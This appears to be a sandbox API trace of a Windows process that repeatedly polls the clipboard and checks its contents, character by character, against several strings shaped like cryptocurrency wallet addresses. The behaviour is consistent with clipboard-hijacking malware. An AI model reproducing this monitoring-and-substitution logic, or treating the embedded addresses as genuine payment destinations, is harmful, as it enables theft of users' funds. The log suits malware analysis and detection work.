lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0045.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0045.361] Sleep (dwMilliseconds=0x64) [0045.594] GetOpenClipboardWindow () returned 0x0 [0045.594] OpenClipboard (hWndNewOwner=0x0) returned 1 [0045.594] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0045.594] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0045.594] GlobalSize (hMem=0x6069b8) returned 0x42 [0045.594] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0045.594] GlobalUnlock (hMem=0x6069b8) returned 1 [0045.594] CloseClipboard () returned 1 [0045.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0045.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0045.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0045.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0045.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0045.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0045.598] Sleep (dwMilliseconds=0x64) [0045.837] GetOpenClipboardWindow () returned 0x0 [0045.838] OpenClipboard (hWndNewOwner=0x0) returned 1 [0045.838] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0045.838] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0045.838] GlobalSize (hMem=0x6069b8) returned 0x42 [0045.838] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0045.838] GlobalUnlock (hMem=0x6069b8) returned 1 [0045.838] CloseClipboard () returned 1 [0045.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 